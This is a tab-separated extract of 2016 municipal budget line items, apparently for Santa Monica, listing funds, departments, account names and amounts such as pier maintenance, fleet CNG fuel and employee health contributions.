20438	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	4936	0	0	0	0	0	0	0	0	0	0	0	4936
20439	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522930.0	VEHICLES - TIRES / TUBES	808.0	 Supplies and Expenses	2016	148625	0	0	0	0	0	0	0	0	0	0	0	148625
20440	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
20441	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2016	31505	0	0	0	0	0	0	0	0	0	0	0	31505
20442	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	150916	0	0	0	0	0	0	0	0	0	0	0	150916
20443	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2016	2698	0	0	0	0	0	0	0	0	0	0	0	2698
20444	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2016	5124	0	0	0	0	0	0	0	0	0	0	0	5124
20445	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2016	104	0	0	0	0	0	0	0	0	0	0	0	104
20446	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	2077	0	0	0	0	0	0	0	0	0	0	0	2077
20447	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	5192	0	0	0	0	0	0	0	0	0	0	0	5192
20448	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	53704	0	0	0	0	0	0	0	0	0	0	0	53704
20449	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EAP		Salaries and Wages	2016	419	0	0	0	0	0	0	0	0	0	0	0	419
20450	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2016	120	0	0	0	0	0	0	0	0	0	0	0	120
20451	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	2283	0	0	0	0	0	0	0	0	0	0	0	2283
20452	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533280.0	AVIATION MAINTENANCE		 Supplies and Expenses	2016	128000	0	0	0	0	0	0	0	0	0	0	0	128000
20453	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	407830.0	AQMD MSRC DISCRETIONARY FUNDS	610.0	Intergovernmental	2016	-600000	0	0	0	0	0	0	0	0	0	0	0	-600000
20454	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402670.0	FUTURE REPLACEMENT-CNG FACILIT	650.0	Charges for Service	2016	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
20455	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511490.0	OVERTIME	808.0	Salaries and Wages	2016	93425	0	0	0	0	0	0	0	0	0	0	0	93425
20456	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2016	2306	0	0	0	0	0	0	0	0	0	0	0	2306
20457	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	8200	0	0	0	0	0	0	0	0	0	0	0	8200
20458	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	1046	0	0	0	0	0	0	0	0	0	0	0	1046
20459	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
20460	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
20461	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	712368	0	0	0	0	0	0	0	0	0	0	0	712368
20462	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2016	-14900	0	0	0	0	0	0	0	0	0	0	0	-14900
20463	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2016	1076	0	0	0	0	0	0	0	0	0	0	0	1076
20464	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401680.0	UNDERGROUND TANK PERMITS	612.0	Charges for Service	2016	-84644	0	0	0	0	0	0	0	0	0	0	0	-84644
20465	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400773.0	JONATHAN CLUB-IMPROVEMENTS	618.0	Rentals	2016	-75000	0	0	0	0	0	0	0	0	0	0	0	-75000
20466	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560020.0	DOWNSPOUT REDIRECT	808.0	 Supplies and Expenses	2016	1558	0	0	0	0	0	0	0	0	0	0	0	1558
20467	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	406181.0	RUBBERIZED ASPHALT GRANT	610.0	Intergovernmental	2016	-90160	0	0	0	0	0	0	0	0	0	0	0	-90160
20468	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533690.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2016	4325	0	0	0	0	0	0	0	0	0	0	0	4325
20469	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-40563	0	0	0	0	0	0	0	0	0	0	0	-40563
20470	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-104151	0	0	0	0	0	0	0	0	0	0	0	-104151
20471	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401252.0	PLAN CHECK FEES-MACERICH	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20472	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-49943	0	0	0	0	0	0	0	0	0	0	0	-49943
20473	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-7419	0	0	0	0	0	0	0	0	0	0	0	-7419
20474	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-55011	0	0	0	0	0	0	0	0	0	0	0	-55011
20475	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-9667	0	0	0	0	0	0	0	0	0	0	0	-9667
20476	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-3016	0	0	0	0	0	0	0	0	0	0	0	-3016
20477	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-1446	0	0	0	0	0	0	0	0	0	0	0	-1446
20478	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-7124	0	0	0	0	0	0	0	0	0	0	0	-7124
20479	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-7265	0	0	0	0	0	0	0	0	0	0	0	-7265
20480	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2016	7147	0	0	0	0	0	0	0	0	0	0	0	7147
20481	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2016	14380	0	0	0	0	0	0	0	0	0	0	0	14380
20482	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2016	2601	0	0	0	0	0	0	0	0	0	0	0	2601
20483	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2016	436	0	0	0	0	0	0	0	0	0	0	0	436
20484	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	2426	0	0	0	0	0	0	0	0	0	0	0	2426
20485	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	95275	0	0	0	0	0	0	0	0	0	0	0	95275
20486	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	7010	0	0	0	0	0	0	0	0	0	0	0	7010
20487	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2016	4081	0	0	0	0	0	0	0	0	0	0	0	4081
20488	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402690.0	CNG FUEL-DEPT USAGE	650.0	Charges for Service	2016	-328440	0	0	0	0	0	0	0	0	0	0	0	-328440
20489	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511749.0	VISION	808.0	Salaries and Wages	2016	4272	0	0	0	0	0	0	0	0	0	0	0	4272
20490	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	12911	0	0	0	0	0	0	0	0	0	0	0	12911
20491	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2016	638	0	0	0	0	0	0	0	0	0	0	0	638
20492	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-275000	0	0	0	0	0	0	0	0	0	0	0	-275000
20493	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	465246	0	0	0	0	0	0	0	0	0	0	0	465246
20494	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNEMPLOYMENT	808.0	Salaries and Wages	2016	9547	0	0	0	0	0	0	0	0	0	0	0	9547
20495	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DCAP	808.0	Salaries and Wages	2016	2076	0	0	0	0	0	0	0	0	0	0	0	2076
20496	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522950.0	CNG FUEL		 Supplies and Expenses	2016	242556	0	0	0	0	0	0	0	0	0	0	0	242556
20497	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
20498	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	15300	0	0	0	0	0	0	0	0	0	0	0	15300
20499	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20500	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400600.0	OVERSIZE LOAD	612.0	Charges for Service	2016	-30000	0	0	0	0	0	0	0	0	0	0	0	-30000
20501	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2016	3595	0	0	0	0	0	0	0	0	0	0	0	3595
20502	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-5212	0	0	0	0	0	0	0	0	0	0	0	-5212
20503	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-21145	0	0	0	0	0	0	0	0	0	0	0	-21145
20504	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-9139	0	0	0	0	0	0	0	0	0	0	0	-9139
20505	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-19966	0	0	0	0	0	0	0	0	0	0	0	-19966
20506	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	806.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
20507	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20508	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	7752	0	0	0	0	0	0	0	0	0	0	0	7752
20509	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2016	1153	0	0	0	0	0	0	0	0	0	0	0	1153
20510	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
20511	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2016	5700	0	0	0	0	0	0	0	0	0	0	0	5700
20512	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2016	576	0	0	0	0	0	0	0	0	0	0	0	576
20513	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533260.0	NON-AVIATION MAINTENANCE		 Supplies and Expenses	2016	114839	0	0	0	0	0	0	0	0	0	0	0	114839
20514	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	207599	0	0	0	0	0	0	0	0	0	0	0	207599
20515	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	401801.0	PROCEEDS	662.0	Other	2016	-171000	0	0	0	0	0	0	0	0	0	0	0	-171000
20516	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	582025	0	0	0	0	0	0	0	0	0	0	0	582025
20517	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511748.0	DENTAL	808.0	Salaries and Wages	2016	27756	0	0	0	0	0	0	0	0	0	0	0	27756
20518	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EAP	808.0	Salaries and Wages	2016	3045	0	0	0	0	0	0	0	0	0	0	0	3045
20519	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-16036	0	0	0	0	0	0	0	0	0	0	0	-16036
20520	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-8893	0	0	0	0	0	0	0	0	0	0	0	-8893
20521	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-21528	0	0	0	0	0	0	0	0	0	0	0	-21528
20522	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-6807	0	0	0	0	0	0	0	0	0	0	0	-6807
20523	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2016	-12062	0	0	0	0	0	0	0	0	0	0	0	-12062
20524	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-5885	0	0	0	0	0	0	0	0	0	0	0	-5885
20525	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-21033	0	0	0	0	0	0	0	0	0	0	0	-21033
20526	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-3130	0	0	0	0	0	0	0	0	0	0	0	-3130
20527	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-3069	0	0	0	0	0	0	0	0	0	0	0	-3069
20528	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-1880	0	0	0	0	0	0	0	0	0	0	0	-1880
20529	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2016	3440	0	0	0	0	0	0	0	0	0	0	0	3440
20530	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2016	4697	0	0	0	0	0	0	0	0	0	0	0	4697
20531	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2016	2712	0	0	0	0	0	0	0	0	0	0	0	2712
20532	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2016	54546	0	0	0	0	0	0	0	0	0	0	0	54546
20533	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408010.0	REVIEW OF PLANNING APPLICATION	612.0	Charges for Service	2016	-8670	0	0	0	0	0	0	0	0	0	0	0	-8670
20534	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
20535	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
20536	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-7560	0	0	0	0	0	0	0	0	0	0	0	-7560
20537	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-14300	0	0	0	0	0	0	0	0	0	0	0	-14300
20538	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-21519	0	0	0	0	0	0	0	0	0	0	0	-21519
20539	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-8764	0	0	0	0	0	0	0	0	0	0	0	-8764
20540	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-72589	0	0	0	0	0	0	0	0	0	0	0	-72589
20541	BA	IS	1	General Fund	310	FIRE	315	TRAINING		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-3614	0	0	0	0	0	0	0	0	0	0	0	-3614
20542	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-3954	0	0	0	0	0	0	0	0	0	0	0	-3954
20543	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20544	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	3325	0	0	0	0	0	0	0	0	0	0	0	3325
20545	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2016	187	0	0	0	0	0	0	0	0	0	0	0	187
20546	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EAP		Salaries and Wages	2016	838	0	0	0	0	0	0	0	0	0	0	0	838
20547	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20548	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	48730	0	0	0	0	0	0	0	0	0	0	0	48730
20549	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2016	360400	0	0	0	0	0	0	0	0	0	0	0	360400
20550	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2016	14300	0	0	0	0	0	0	0	0	0	0	0	14300
20551	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2016	573875	0	0	0	0	0	0	0	0	0	0	0	573875
20552	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	255648	0	0	0	0	0	0	0	0	0	0	0	255648
20553	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DCAP		Salaries and Wages	2016	286	0	0	0	0	0	0	0	0	0	0	0	286
20554	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
20555	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402510.0	COMM & TRIBUTE PROG	622.0	Other	2016	-25000	0	0	0	0	0	0	0	0	0	0	0	-25000
20556	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20557	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20558	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20559	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2016	745	0	0	0	0	0	0	0	0	0	0	0	745
20560	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409030.0	CAMP SANTA MONICA	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20561	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20562	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556160.0	SOLD URNS	808.0	 Supplies and Expenses	2016	9846	0	0	0	0	0	0	0	0	0	0	0	9846
20563	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	339447	0	0	0	0	0	0	0	0	0	0	0	339447
20564	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2016	895	0	0	0	0	0	0	0	0	0	0	0	895
20565	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2016	13394	0	0	0	0	0	0	0	0	0	0	0	13394
20566	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	20225	0	0	0	0	0	0	0	0	0	0	0	20225
20567	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	407240.0	TRANS MGMT BLDG PLAN CHECK	612.0	Charges for Service	2016	-159691	0	0	0	0	0	0	0	0	0	0	0	-159691
20568	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400601.0	REVIEW OF PUBLIC ROW APPLICATI	612.0	Charges for Service	2016	-111086	0	0	0	0	0	0	0	0	0	0	0	-111086
20569	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566610.0	PROCESS & HAULING EXPENSE	808.0	 Supplies and Expenses	2016	2600000	0	0	0	0	0	0	0	0	0	0	0	2600000
